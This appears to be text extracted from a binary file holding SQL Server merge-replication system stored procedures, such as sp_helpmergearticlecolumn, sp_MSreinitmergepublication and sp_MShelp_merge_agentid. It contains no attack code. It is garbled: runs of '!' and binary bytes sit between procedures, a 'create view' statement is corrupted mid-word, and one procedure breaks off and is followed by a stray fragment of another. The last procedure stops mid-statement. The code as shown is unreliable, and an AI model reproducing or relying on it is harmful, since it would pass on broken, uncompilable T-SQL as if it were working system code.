                select top 1 @refid2=column_id from sys.sql_dependencies where referenced_minor_id=@columnid and class =1 and object_id=@objid and column_id>@refid2 order by referenced_minor_id
                if @@rowcount = 0
                    set @refid2 = NULL
            end
        end
        
        exec @in_partition = sys.sp_MStestbit @bm=@columns, @coltotest=@columnid

        if @in_partition=1 and LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'add' and LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='false'
        begin
            RAISERROR(21335, 10, -1, @column)
            --GOTO FAILURE    -- Juse because column has already been added to vertical partition doesn't mean we need to error out.
        end
        
        if @in_partition=0 and LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'drop' and LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='false'
        begin
            RAISERROR(21336, 10, -1, @column)
            GOTO FAILURE
        end

        SELECT @columns = columns, @filter_clause=subset_filterclause, @ins_conflict_proc=ins_conflict_proc, @conflict_table=conflict_table FROM dbo.sysmergearticles WHERE name = @article AND pubid = @pubid
        IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'add'
            begin
                exec @retcode = sys.sp_MSsetbit @bm = @columns OUTPUT, @coltoadd=@columnid, @toset=1
                if @@ERROR<>0 or @retcode<>0 
                    GOTO FAILURE
                select @column_name = name from sys.columns where object_id=@objid and column_id=@colid
                if @@error<>0
                    goto FAILURE
                exec %%ColumnEx(ObjectID=@objid, Name=@column_name).SetMergePublished(Value=1)
                if @@ERROR<>0
                    goto FAILURE
            end
        ELSE
            begin
                
                exec @retcode = sys.sp_MSsetbit @bm = @columns OUTPUT, @coltoadd=@columnid, @toset=0
                if @@ERROR<>0 or @retcode<>0 
                    GOTO FAILURE
                if @columns = 0x00
                    begin
                        raiserror(21345, 16, -1)
                        goto FAILURE
                    end
                exec @retcode = sys.sp_MSclearcolumnbit @pubid, @artid, @column
                if @@ERROR<>0 or @retcode<>0
                    goto FAILURE
            end

        /*
        ** Set vertical_partitioning flag so that publication view would be re-generated even
        ** if there is not subsetfilters nor join filters
        */
        UPDATE dbo.sysmergearticles     SET columns = @columns, vertical_partition=1 
            WHERE name = @article AND pubid = @pubid
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14021, 16, -1)
            GOTO FAILURE
        END

        select @column_list = NULL
        
        /*
        ** check to see if that column can be dropped based on current article's filter clause
        ** and if the article is involved in any join_filter_clauses - to make sure the drop of
        ** one column does not affect any such joins
        */ 
        if ((@filter_clause is not NULL and @filter_clause <>'' ) or 
            exists (select * from dbo.sysmergesubsetfilters where pubid=@pubid and 
            (artid=@artid or join_articlename=@article))) and LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
        begin
            exec @retcode = sys.sp_MSgetcolumnlist @pubid, @column_list OUTPUT, @objid
            if @@ERROR<>0 or @retcode<>0
                GOTO FAILURE

            select @object_view='TEMP_VIEW_' + @source_object  --@source_object is not quoted
            select @qual_object_view=quotename(@object_view)

            exec @retcode = sys.sp_MSget_qualified_name @objid, @qual_source_object OUTPUT
            if @@ERROR<>0 or @retcode<>0
                goto FAILURE
            select @quoted_source_object=QUOTENAME(@source_object)

            exec ('create vi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<AJZxz[ew dbo.' + @qual_object_view + ' as select ' + @column_list + ' from ' + @qual_source_object + ' ' + @quoted_source_object)
            if @@ERROR<>0
                GOTO FAILURE
            if @filter_clause is not NULL and @filter_clause <>'' 
            begin
                exec ('declare @test int select @test=1 from ' + @qual_object_view + ' ' + @quoted_source_object + ' where ' + @filter_clause)
                if @@ERROR<>0
                    begin
                        exec('drop view ' + @qual_object_view)
                        raiserror(21256, 16, -1, @filter_clause, @source_object)
                        GOTO FAILURE
                    end
            end            
        end
        
        /*
        ** Check to make sure dropping a column will not breaking any other articles that using current article as join_article
        */
        if exists (select * from dbo.sysmergesubsetfilters where pubid=@pubid and 
            (artid=@artid or join_articlename=@article)) and LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
        begin
            declare @join_articlename sysname
            declare @tmp_artid uniqueidentifier
            declare @join_objid int
            declare @join_object sysname
            declare @qual_join_object nvarchar(517)
            declare @quoted_join_object nvarchar(258)
            
            declare per_article CURSOR LOCAL FAST_FORWARD FOR 
                select artid, join_filterclause, join_articlename from sysmergesubsetfilters 
                    where pubid=@pubid and (join_articlename=@article or artid=@artid)
            for READ ONLY
            open per_article
            fetch per_article into @tmp_artid, @filter_clause, @join_articlename
            while (@@fetch_status<>-1)
            begin
                if @artid<>@tmp_artid
                    select @join_objid=objid from sysmergearticles where pubid=@pubid and artid=@tmp_artid
                else
                    select @join_objid=objid from sysmergearticles where pubid=@pubid and name=@join_articlename

                select @join_object = object_name(@join_objid)
                select @qual_join_object = quotename(schema_name(schema_id)) + '.' + quotename(name) from sys.objects where object_id = @join_objid
                select @quoted_join_object = quotename(object_name(@join_objid))

                if @join_object is not NULl and @join_object<>''
                begin
                    exec ('declare @test int select @test=1 from ' + @qual_object_view + ' ' + @quoted_source_object + ', ' + @qual_join_object + ' ' + @quoted_join_object + ' where ' + @filter_clause)                    
                    if @@ERROR<>0
                    begin
                        close per_article
                        deallocate per_article
                        raiserror(21256, 16, -1, @filter_clause, @source_object)
                        GOTO FAILURE
                    end
                end
                fetch per_article into @tmp_artid, @filter_clause, @join_articlename    
            end
            close per_article
            deallocate per_article        
        end            
    END      


   -- filestream_change
    if (@filestream_col_published = 1)    
    begin
        -- filestream column is not supported for character mode publications
        if ( @sync_mode = 1 )
        begin 
            raiserror(22581, 16, -1, @article, @publication)
            GOTO FAILURE
        end
        -- filestream column is only supported for Yukon+ subscribers as
        -- conversion of filestream column (max type) to base type is not allowed.
        else if ( @compatlevel < 90 )
        begin
            raiserror(22582, 16, -1, @article, @publication)
            GOTO FAILURE          
        end     
    end   

    /*
    ** if snapshot is ready, change it to obsolete to force another snapshot run.    
    ** Note this is the third value of snapshot_ready. 0 for not ready, 1 for OK, 2 for obsolete
    */     
    IF EXISTS (SELECT * FROM dbo.sysmergepublications WHERE pubid=@pubid and snapshot_ready>0) 
            and LOWER(@schema_replication collate SQL_Latin1_General_CP1_CS_AS)='false'
    BEGIN
        update dbo.sysmergearticles set status=1, conflict_table=NULL where pubid=@pubid and artid=@artid and status=2
        if @@ERROR<>0
            goto FAILURE

        update dbo.sysmergearticles set status=5, conflict_table=NULL where pubid=@pubid and artid=@artid and status=6
        if @@ERROR<>0
            goto FAILURE
            
        /*
        ** Force a re-generation of conflict table and its ins_proc
        */
        if object_id(@ins_conflict_proc) is not NULL
        begin
            set @quoted_source_object= quotename(@ins_conflict_proc)
            exec ('drop proc ' + @quoted_source_object)
            if @@ERROR<>0
                goto FAILURE
        end
        if object_id(@conflict_table) is not NULL
        begin
            set @quoted_source_object= quotename(@conflict_table)
            exec ('drop table ' + @quoted_source_object)
            if @@ERROR<>0
                goto FAILURE
        end


        /*
        ** make sure we know we really want to do this.
        */
        if exists (select * from dbo.sysmergepublications where pubid=@pubid and snapshot_ready<>2)
        begin
            if @force_invalidate_snapshot = 0
                begin
                    raiserror(20607, 16, -1)
                    goto FAILURE
                end
        end
        update dbo.sysmergepublications set snapshot_ready=2 where pubid=@pubid
        if @@ERROR<>0
            goto FAILURE

        if @force_reinit_subscription = 0 and @status_value<>5 --5 is the value for new_inactive
        begin
            raiserror(20608, 16, -1)
            goto FAILURE
        end

        --do a global re
        
        if @force_reinit_subscription = 1
        begin
                --global reinitialization will bump up backward-comp-level to SP2.
            exec @retcode = sys.sp_MSreinitmergepublication 
                                    @publication = @publication,
                                    @upload_first = @automatic_reinitialization_policy
            if @retcode<>0 or @@ERROR<>0
                goto FAILURE
        end
        /*
        ** Even for vertical partitioning on new article - we do not need to bumpup backward-comp-level
        **
        else
            begin    --bump up the backward-comp-level so that only 80 subscribers can use it.
            exec @retcode = sys.sp_MSBumpupCompLevel @pubid, 40
            if @@ERROR<>0 or @retcode<>0
                GOTO FAILURE
            end
        */
    END

    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    COMMIT TRANSACTION
    if object_id(@qual_object_view) is not NULL
    begin
        exec ('drop view ' + @qual_object_view)
    end
    return (0)
FAILURE:

    if @@TRANCOUNT >0 
        begin
            if @got_merge_admin_applock=1
                exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
            ROLLBACK TRANSACTION articlecolumn
            COMMIT TRAN
        end

    if object_id(@qual_object_view) is not NULL
    begin
        exec ('drop view ' + @qual_object_view)
    end

    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`p<QBΟ0: 
8
create procedure sys.sp_helpmergearticlecolumn (
    @publication sysname,             /* The publication name */
    @article    sysname                 /* The article name */
    ) AS
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @colid        int
    declare @colmax        int
    declare @colname    sysname
    declare @published    bit
    declare @columns    binary(128)
    declare @pubid        uniqueidentifier
    declare @retcode    int
    declare @objid        int
    declare @publisher    sysname
    declare @publisher_db    sysname

    select @publisher = publishingservername()
    select @publisher_db = db_name()

    /*
    ** Parameter Check: @publication.
    ** The @publication name must conform to the rules for identifiers.
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_helpmergearticlecolumn')
        RETURN (1)
    END
    
    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0 or @@ERROR<>0
    RETURN (1)
    
    SELECT @pubid = pubid FROM dbo.sysmergepublications WHERE name = @publication 
                                                            and LOWER(publisher)=LOWER(@publisher)
                                                            and publisher_db = @publisher_db
    IF @pubid IS NULL
    BEGIN
        RAISERROR (21423, 11, -1, @publication)
        RETURN (1)
    END

    -- Security check. (Done after @pubid retrieval, because this param is needed here.)
    if  1 <> {fn ISPALUSER(@pubid)} and
        (1 <> is_member('replmonitor') or is_member('replmonitor') is null) 
    begin
        raiserror(21423, 11, -1, @publication)
        return 1
    end

    /*
    ** Parameter Check: @article.
    ** The @article name must conform to the rules for identifiers.
    */

    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_helpmergearticlecolumn')
            RETURN (1)
        END
    EXECUTE @retcode = sys.sp_validname @article
    IF @retcode <> 0 or @@ERROR<>0
        RETURN (1)

    /*
    ** Parameter Check:     @article, @publication.
    ** Check to make sure that the article exists in this publication.
    */

    IF NOT EXISTS (SELECT * FROM dbo.sysmergearticles WHERE pubid = @pubid AND name = @article)
        BEGIN
            RAISERROR (20027, 11, -1, @article)
            RETURN (1)
        END

    SELECT @columns = columns, @objid=objid FROM dbo.sysmergearticles
        WHERE name = @article AND pubid = @pubid

    create table #tmp (column_id int, column_name sysname collate database_default, published bit)
    select TOP 1 @colid = column_id from sys.columns where object_id = @objid order by column_id ASC
    select TOP 1 @colmax = column_id from sys.columns where object_id = @objid order by column_id DESC
    while (@colid <= @colmax)
    begin
    if exists (select * from sys.columns where object_id = @objid and column_id = @colid)
        begin
            select @colname = name from sys.columns where object_id=@objid and column_id=@colid
            exec @retcode = sys.sp_MStestbit @bm=@columns, @coltotest=@colid
            if @retcode<>0
                select @published=1
            else
                select @published=0
            insert into #tmp values(@colid, @colname, @published)
        end
        select @colid=@colid + 1
    end
    select * from #tmp
    drop table #tmp
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<@9B+0ڡ@ T8create procedure sys.sp_ORbitmap (
    @inputbitmap1 varbinary(128), 
    @inputbitmap2 varbinary(128),
    @resultbitmap3 varbinary(128)    OUTPUT
)
as
begin
    declare @retcode    int
    exec @retcode = sys.xp_ORbitmap @inputbitmap1,@inputbitmap2,@resultbitmap3 output
    return @retcode
end
0@ 8create procedure sys.sp_MSreinitmergepublication
    @publication    sysname,
    @upload_first    bit = 0
AS
    declare @pubid                uniqueidentifier
    declare @schematext            nvarchar(4000)
    declare @schemaversion        int
    declare @schemaguid            uniqueidentifier
    declare @schematype            int
    declare @publisher            sysname
    declare @retcode            int
    declare @publisher_db        sysname
    declare @compatlevel int
    declare @snapshot_ready int
    declare @SCHEMA_TYPE_DROPARTICLE int

    set nocount on

    select @SCHEMA_TYPE_DROPARTICLE = 28

    select @publisher=publishingservername()
    select @publisher_db = db_name()
    
    select @pubid=pubid, @compatlevel = backward_comp_level, @snapshot_ready=snapshot_ready from dbo.sysmergepublications 
        where name=@publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    if @compatlevel < 30
    begin
        raiserror(21353,10, -1,@publication)
        exec @retcode=sys.sp_MSBumpupCompLevel @pubid, 30 --for 7.0 SP2, which has limited support for this
        if @@ERROR<>0 or @retcode<>0        
            return (1)
    end

    update dbo.sysmergesubscriptions set schemaversion=0, recgen = NULL, recguid=NULL, sentgen=NULL, sentguid = NULL
        where subid<>pubid and pubid=@pubid and subscription_type=0
    if @@ERROR<>0 
        return (1)

    update dbo.sysmergesubscriptions set schemaversion=-1, recgen = NULL, recguid=NULL, sentgen=NULL, sentguid = NULL
        where subid<>pubid and pubid=@pubid and subscription_type>0
    if @@ERROR<>0 
        return (1)
        
    -- set all article status to inactive as a starting point - which sort or cleanup the newly added status
    -- 5 and 6.
    if @upload_first=0 --do not set status to active if upload_first=true, otherwise trigger creation will fail.
    begin
        if exists (select * from dbo.sysmergearticles where pubid = @pubid and (status=5 or status=6))
        begin            
            update dbo.sysmergearticles set status=1 where pubid=@pubid
            -- delete from sysmergeschemachange so that the incrementally added article schema changes all get cleanedup
            -- don't delete dropmergearticle schema changes.
            delete from dbo.sysmergeschemachange where pubid=@pubid and schematype not in (@SCHEMA_TYPE_DROPARTICLE)
            -- update the snapshot status so that rerun of snapshot can be forced
            if @snapshot_ready > 0
                update dbo.sysmergepublications set snapshot_ready=2 where pubid=@pubid
            if @@ERROR<>0
                return (1)
        end
    end
    
    select @schematext = 'exec dbo.sp_MSreinit_hub '+ QUOTENAME(@publisher) + ', ' + QUOTENAME(@publisher_db) + ', ' + QUOTENAME(@publication) + ', ' + convert(nvarchar, @upload_first)
    select @schemaversion = schemaversion from dbo.sysmergeschemachange
    if (@schemaversion is NULL)
        set @schemaversion = 1
    else
        select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange        
    set @schemaguid = newid()
    if @upload_first = 0
        set @schematype = 12 /* reinit_all */
    else
        set @schematype = 14 /* reinit_with_upload*/
    exec @retcode=sys.sp_MSinsertschemachange @pubid, null, @schemaversion, @schemaguid, @schematype, @schematext
    if @@ERROR<>0 or @retcode<>0 
        return (1)

    -- make sure we don't falsely use transitive recgen optimization
    update dbo.sysmergesubscriptions
        set replicastate= newid() where pubid = @pubid
publication=@publication 

			if @retention is not NULL and @retention > 0
			begin
				select @min_valid_day = sys.fn_add_units_to_date(@retention * (-1), @retention_period_unit, getdate()) 
        		-- only do history based expiration if there is a valid successful run information available.    	
				-- If we do not find the history for the last successful run we will not cleanup.
				-- however a seperate cleanup happens that uses the last_sync_time on the publisher. So
				-- even if we do not cleanup here sp_MSdrop_expired_mergesubscription will take care of it
				select Top 1 @last_status = runstatus, @last_history = end_time 
        			from dbo.MSmerge_sessions where agent_id = @agent_id and runstatus=2 order by session_id DESC

				/*
				commeting out since we do not want to use the failed history information
        		if @last_status = 6 and EXISTS (select * from dbo.MSmerge_history where  agent_id = @agent_id and runstatus = 2) 
        			select Top 1 @last_history = time from dbo.MSmerge_history where agent_id = @agent_id and runstatus = 2
        							order by time DESC
        		*/
        		if @last_history is not NULL
        		begin
    				if @last_history < @min_valid_day --and @status <> @reinited //We no longer consider marked-for-reinit subscriptions as exempt for expiry
    					select @expired = 1
    			end
			end
		end
	end

    select @agent_id, @name, 0, @expired where @agent_id is not NULL
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<G9B&0^ W8CREATE PROCEDURE sys.sp_MShelp_merge_agentid 
(
    @publisher_id       smallint,
    @publisher_db       sysname,
    @publication        sysname,
    @subscriber_id      smallint,
    @subscriber_db      sysname,
    @subscriber_version	int = 60, -- 60=shiloh sp3 or lower, 90=yukon
    @subscriber			sysname = NULL
)
AS
begin
    declare @publisher		sysname
    declare @expired		int
    declare @agent_id 		int
    declare @name 			sysname
    declare @retention 		int
    declare @retention_period_unit	tinyint
    declare @last_status	int
    declare @last_history	datetime
    declare @min_valid_day 	datetime
    declare @reinited 		int
    declare @status 		int
    declare @success		int
    declare @publication_id	int
    declare @subscriber_datasource_type int
    declare @sql_subscriber	int
    declare @sub_version int

    select @expired = 0
    select @reinited = 4
    select @success = 2

    select @subscriber_datasource_type = 0
    select @sql_subscriber = 0

	if not EXISTS (select * from dbo.MSpublications 
		where publisher_id=@publisher_id 
		and publisher_db = @publisher_db
		and publication = @publication
		and publication_type = 2) -- merge publication is gone
	begin
		select 1, @publication, 1, 0 --third column = 1 means publication is gone, making the other values meanningless.
		return (1)
	end

   	select @publication_id = publication_id 
		from dbo.MSpublications
		where publisher_id = @publisher_id and
			  publisher_db = @publisher_db and
			  publication = @publication

	-- Get subscriber info
	if @subscriber IS NULL
		begin
		    select @subscriber = srvname from master.dbo.sysservers where srvid = @subscriber_id
		end
	select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id

    select @subscriber_datasource_type = type
        from MSsubscriber_info 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)

	if (@subscriber_datasource_type = @sql_subscriber)
	begin
		select @status = status, @sub_version = subscriber_version from dbo.MSmerge_subscriptions where
			publisher_id = @publisher_id and 
			publisher_db = @publisher_db and 
			publication_id = @publication_id and
			UPPER(subscriber) = UPPER(@subscriber) and
			subscriber_db = @subscriber_db

		select @agent_id = id, @name = name from dbo.MSmerge_agents 
	        where publisher_id = @publisher_id 
			and publisher_db = @publisher_db
			and publication = @publication
			and UPPER(subscriber_name) = UPPER(@subscriber)
			and subscriber_db = @subscriber_db
	end
	else
	begin
		select @status = status, @sub_version = subscriber_version from dbo.MSmerge_subscriptions where
			publisher_id = @publisher_id and 
			publisher_db = @publisher_db and 
			publication_id = @publication_id and
			UPPER(subscriber) = UPPER(@subscriber)

		select @agent_id = id, @name = name from dbo.MSmerge_agents 
	        where publisher_id = @publisher_id 
			and publisher_db = @publisher_db
			and publication = @publication
			and UPPER(subscriber_name) = UPPER(@subscriber)
	end

    -- Security check. Do it here to let the agent fail at the beginning
    if @agent_id is not null
    begin
        exec sys.sp_MScheck_pull_access @agent_id = @agent_id, @agent_type = 1 -- merge agent

        if @sub_version is NULL
            select @sub_version = @subscriber_version
            
        if @sub_version < 90
        begin
			select @retention = retention, @retention_period_unit = retention_period_unit
				from dbo.MSpublications 
				where publisher_id=@publisher_id and publisher_db=@publisher_db and publication=@publication 

			if @retention is not NULL and @retention > 0
			begin
				select @min_valid_day = sys.fn_add_units_to_date(@retention * (-1), @retention_period_unit, getdate()) 
        		-- only do history based expiration if there is a valid successful run information available.    	
				-- If we do not find the history for the last successful run we will not cleanup.
				-- however a seperate cleanup happens that uses the last_sync_time on the publisher. So
				-- even if we do not cleanup here sp_MSdrop_expired_mergesubscription will take care of it
				select Top 1 @last_status = runstatus, @last_history = end_time 
        			from dbo.MSmerge_sessions where agent_id = @agent_id and runstatus=2 order by session_id DESC

				/*
				commeting out since we do not want to use the failed history information
        		if @last_status = 6 and EXISTS (select * from dbo.MSmerge_history where  agent_id = @agent_id and runstatus = 2) 
        			select Top 1 @last_history = time from dbo.MSmerge_history where agent_id = @agent_id and runstatus = 2
        							order by time DESC
        		*/
        		if @last_history is not NULL
        		begin
    				if @last_history < @min_valid_day --and @status <> @reinited //We no longer consider marked-for-reinit subscriptions as exempt for expiry
    					select @expired = 1
    			end
			end
		end
	end

    select @agent_id, @name, 0, @expired where @agent_id is not NULL
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<X_B&h0_ 88"
05@ 8
--
-- Name:    
--          sp_ORAdroppublisher
--          
-- Description: 
--          Drop Oracle publisher bits (Oracle side)
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAdroppublisher
(
	@publisher	sysname
)
AS
BEGIN
	DECLARE @retcode int
	DECLARE @result  int
	DECLARE @owner	 sysname
	
	-- Use @result for intermediate actions for each sub query
	-- If any one of them fails, return an overall failure code
	-- @retcode to indicate that it did not completely succeed.
	-- However, try to run each step irregardless of if any of
	-- the other steps fail.
	SET @retcode = 0

	SET NOCOUNT ON

	-- Define sp_IHquery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)
	
	-- Define object check table
	create table #objcheck (obj sysname)

	-- Get publisher owner
	SELECT	@owner = login
	FROM	msdb.dbo.MSdistpublishers
	WHERE	name = UPPER(@publisher) COLLATE DATABASE_DEFAULT

	-- Verify MSSQLServerDistributor synonym exists
	INSERT INTO #hquery(cmd) VALUES ('SELECT SYNONYM_NAME FROM ALL_SYNONYMS ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE OWNER = ''PUBLIC'' AND  SYNONYM_NAME = ''MSSQLSERVERDISTRIBUTOR''')

	EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
											@SelectColumnList	= N'SYNONYM_NAME',
											@InsTable			= N'#objcheck',
											@InsColumnList		= N'obj'

	IF (@retcode != 0) OR (@@ERROR != 0)
	BEGIN
		RETURN (1)
	END

	IF EXISTS (SELECT obj FROM #objcheck)
	BEGIN
		--  Drop the public synonym for HREPL_Distributor - ignore the error
		TRUNCATE TABLE #hquery
		INSERT INTO #hquery (cmd) VALUES (N'DROP PUBLIC SYNONYM MSSQLSERVERDISTRIBUTOR')
		EXEC @result = sys.sp_IHquery @publisher
		IF (@result != 0)
		BEGIN
			SET @retcode = 1
		END
	END

	-- Verify MSSQLServerSetSQLOriginator synonym exists
	TRUNCATE TABLE #objcheck
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery(cmd) VALUES ('SELECT SYNONYM_NAME FROM ALL_SYNONYMS ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE OWNER = ''PUBLIC'' AND  SYNONYM_NAME = ''MSSQLSERVERSETSQLORIGINATOR''')

	EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
											@SelectColumnList	= N'SYNONYM_NAME',
											@InsTable			= N'#objcheck',
											@InsColumnList		= N'obj'

	IF (@retcode != 0) OR (@@ERROR != 0)
	BEGIN
		RETURN (1)
	END

	IF EXISTS (SELECT obj FROM #objcheck)
	BEGIN
		--  Drop the public synonym for HREPL.SetSQLOriginator - ignore the error
		TRUNCATE TABLE #hquery
		INSERT INTO #hquery (cmd) VALUES (N'DROP PUBLIC SYNONYM MSSQLSERVERSETSQLORIGINATOR')
		EXEC @result = sys.sp_IHquery @publisher
		IF (@result != 0)
		BEGIN
			SET @retcode = 1
		END
	END
	
	-- Verify HREPL_DropPublisher procedure exists
	TRUNCATE TABLE #objcheck
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery(cmd) VALUES ('SELECT OBJECT_NAME FROM ALL_OBJECTS ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE OWNER = ' + QUOTENAME(@owner, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES ('AND OBJECT_NAME = ''HREPL_DROPPUBLISHER'' ')
	INSERT INTO #hquery(cmd) VALUES ('AND OBJECT_TYPE = ''PROCEDURE''')

	EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
